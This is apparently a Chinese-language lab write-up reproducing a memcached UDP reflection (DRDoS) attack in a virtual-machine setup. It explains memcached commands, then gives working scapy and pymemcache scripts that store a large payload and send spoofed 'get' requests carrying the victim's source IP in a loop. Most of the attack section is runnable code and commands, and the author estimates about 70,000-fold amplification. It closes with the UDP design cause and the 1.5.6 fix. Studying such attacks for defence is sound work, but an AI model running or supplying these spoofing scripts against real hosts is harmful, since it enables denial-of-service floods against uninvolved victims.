基于memcached的DRDoS复现
由于最近某高校的宽带出口被DRDoS了,罪魁祸首是公网上的未授权访问的memcached肉鸡,因此实践一下memcached的DRDoS,学习其中的原理。
一、memcached使用
1.安装
sudo apt-get install libevent-dev
sudo apt-get install memcached
2.运行
-l 设置监听地址 -d 设置后台运行 -m64 设置缓存大小为64m -p用于设置tcp端口 -U用于设置udp端口
- memcached -m64 -l 0.0.0.0 -p 11211 -d 只监听tcp端口
- memcached -p 0 -l 0.0.0.0 -m64 -U 11212 -d 只监听udp端口
- memcached -U 11211 -l 0.0.0.0 -p 11211 -m64 -d 同时监听tcp和udp
memcached 默认运行会使用以下配置文件(完整的配置文件在这里 /etc/init.d/memcached)
vim /etc/memcached.conf
查看运行的进程、端口监听状态
ps -aux |grep memcached | grep -v grep
netstat -anop | grep 11211
3.使用方式
tcp连接方式
telnet ip port
udp通信方式
echo "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | socat - udp4-datagram:<ip>:<port>
4.基本命令
查看状态
stats
设置key value
set key flags exptime bytes
value
(设置成功会返回STORE)- key:键值 key-value 结构中的 key,用于查找缓存值。
- flags:可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。
- exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)
- bytes:在缓存中存储的字节数(注意必须为value的大小)
- noreply(可选): 该参数告知服务器不需要返回数据
- value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)
获取key value
get key
清空缓存
flush_all
更多基本使用方式参考:http://www.runoob.com/memcached/memcached-tutorial.html
5.使用举例
➜ ~ telnet 0.0.0.0 11211
Trying 0.0.0.0...
Connected to 0.0.0.0.
Escape character is '^]'.
set 2018 0 0 10
1234567890
STORED
get 2018
VALUE 2018 0 10
1234567890
END
quit
Connection closed by foreign host.
二、memcached DRDoS实践
1.关于memcached DRDoS
DRDoS(Distributed Reflection Denial of Service) 指的是利用IP Spoofing技术,构造带有受害者IP的数据包,发送给肉鸡,然后肉鸡对受害者IP做出大量回应,造成拒绝服务。
对于memcached服务而言,由于其支持tcp和udp两种协议。因而攻击者可以通过IP Spoofing技术构造src为受害者IP的udp数据包,发送给memcached主机集群,进而可以对受害者IP发出大量的响应。
除了支持udp协议外,memcached服务在互联网上大量存在、memcached服务可以通过较少的请求数据就可以反射大量的数据,因而memcached DRDoS最近造成了很大的影响。
2. 基于scapy测试memcached DRDoS攻击
接下来准备动手实践一下DRDoS攻击。网络环境拓扑:
物理机A ip 10.2.46.82 (受害者)
NAT虚拟机B ip 192.168.63.165 (装有memcached的肉鸡)
NAT虚拟机C ip 192.168.63.151 (攻击者)
我的memcached版本是1.4.25,通过memcached -U 11211 -l 0.0.0.0 -p 11211 -m64 -d 来同时开启udp和tcp监听。
首先测试一下payload是否可以通过udp的方式放到肉鸡memcached上。
I. 在攻击机C上使用scapy构造udp数据包发送,测试payload暂时为123456789A
data = "\x00\x00\x00\x00\x00\x01\x00\x00set kali 0 0 10\r\n123456789A\r\n"
package = IP(dst='192.168.63.165',src='10.2.46.82')/UDP(dport=11211,sport=2019)/data
send(package)
II. 在肉鸡B上监听网卡的数据:发现确实收到了伪造的UDP数据包。
sudo tcpdump -ni ens33 port 11211 -t
在肉鸡B上查看数据是否写入memcached,发现已经成功写入了。
echo "\x00\x00\x00\x00\x00\x01\x00\x00get kali\r\n" | socat - udp4-datagram:192.168.63.165:11211
III. 在攻击机C上构造udp数据包发送,将存下来的payload反射给受害者A。
>>> data = "\x00\x00\x00\x00\x00\x01\x00\x00get kali\r\n"
>>> package = IP(dst='192.168.63.165',src='10.2.46.82')/UDP(dport=11211,sport=2019)/data
>>> send(package)
IV. 再查看肉鸡B上监听网卡的数据:发现收到了伪造的UDP数据包(length 18),并且把存下来的payload反射给了A(length 42)。
如果一开始存储的payload很长,比如为1M,那么每次攻击者只需要发送18byte的数据包,就可以反射1M的数据包给受害者A。
通过以上测试,我们明白了memcached DRDoS的原理。接下来我们尝试增加payload的长度。这里写了一个简单的scapy脚本,首先构造payload,然后从命令行获取攻击的次数,调用get 反射给受害者。
from scapy.all import *
from scapy import *
from scapy.layers.inet import IP, UDP
import sys
payload = "D"*1000
data = "\x00\x00\x00\x00\x00\x01\x00\x00set kali 0 0 %d\r\n%s\r\n" % (len(payload), payload)
package = IP(dst='192.168.63.165', src='10.2.46.82')/UDP(dport=11211,sport=2018)/data
send(package)
print "[*] set payload success!"
for i in range(int(sys.argv[1] )):
data = "\x00\x00\x00\x00\x00\x01\x00\x00get kali\r\n"
package = IP(dst='192.168.63.165', src='10.2.46.82')/UDP(dport=11211,sport=2018)/data
send(package, count=1)
print "[*] send %d times " % int(i+1)
使用speedometer -r ens33来监控流量:
网卡数据:
我们把payload长度修改为1000了,确实成功模拟了这一过程。但是,为什么不把payload的长度增加一点呢?
一个UDP的数据包中length的长度最大是64KB-1,memcached中存储的key-value value最大是1MB。按理说我们可以把payload设置为64KB-1,但是实际测试时,
发送稍微长一点的payload,就写不进memcached了,感觉memcached的UDP还是非常不稳定的。
攻击者:
python -c "print '\x00\x00\x00\x00\x00\x01\x00\x00set kali 0 0 %d\r\n%s\r\n'%(5000,5000*'g')" | socat - udp4-datagram:192.168.63.165:11211
查看memcached日志:
<28 set kali 0 0 5000
>26 SERVER_ERROR multi-packet request not supported
3. 基于 pymemcache 使用tcp来set数据 、基于scapy使用udp get
既然用udp来set数据不是非常稳定,那么我们可以使用tcp来set 1M的数据,再用udp来发送发射报文。这里使用python的pymemcache来测试。安装:sudo pip install pymemcache 。
from pymemcache.client.base import Client
import sys
client = Client(('192.168.63.165', 11211))
# set payload
key = 't'
data ='A'*1023*1023 + "B"
result = client.set('t', data)
if result:
print "[*] payload set done!"
else:
print "[!] payload set error!"
set完数据之后,就可以使用udp来进行DRDoS攻击了。首先使用udp来get数据,查看是否写入:
echo "\x00\x00\x00\x00\x00\x01\x00\x00get t\r\n" | socat - udp4-datagram:192.168.63.165:11211
编写反射脚本
from scapy.all import *
from scapy import *
from scapy.layers.inet import IP, UDP
import sys
for i in range(int(sys.argv[1] )):
data = "\x00\x00\x00\x00\x00\x01\x00\x00get T\r\n"
package = IP(dst='192.168.63.165', src='10.2.46.82')/UDP(dport=11211,sport=2018)/data
send(package, count=1)
print "[*] send %d times " % int(i+1)
一个memcached的udp get最小是15byte:
UDP头+"get T\r\n" = 8byte + 7byte = 15byte
但是反射的payload最大可以1MB,倍数大约是7万倍。
三、总结
DRDoS攻击要求攻击者需要能够在肉鸡上布置大量的数据,然后通过IP Spoof来伪造src为受害者的udp请求,受害者便会收到大量的数据。memcached在公网上存在大量未授权就可以访问的主机,而且支持udp协议,给DRDoS带来了很大的方便。官方的解决方案是从1.5.6版本开始默认禁用udp协议。那么为什么一开始要支持udp协议呢?在1.5.6的更新说明中提到:12年前,tcp的开销比较高,udp使用更广泛。而现在的计算机RAM很大,tcp的缓存增加了,开销也就不是问题了。因此这次造成memcached DRDoS造的本质原因是属于设计上的缺陷,而非计算机软件漏洞。
四、参考
- https://github.com/memcached/memcached/wiki/ReleaseNotes156
- https://cert.360.cn/warning/detail?id=c63eb87058834e37c7c112c35ef5f9fd
- http://www.freebuf.com/vuls/164864.html
- http://payloads.online/archivers/2018-03-04/1
- https://www.anquanke.com/post/id/99410
- https://blog.csdn.net/microzone/article/details/79262549
- http://www.4hou.com/technology/10680.html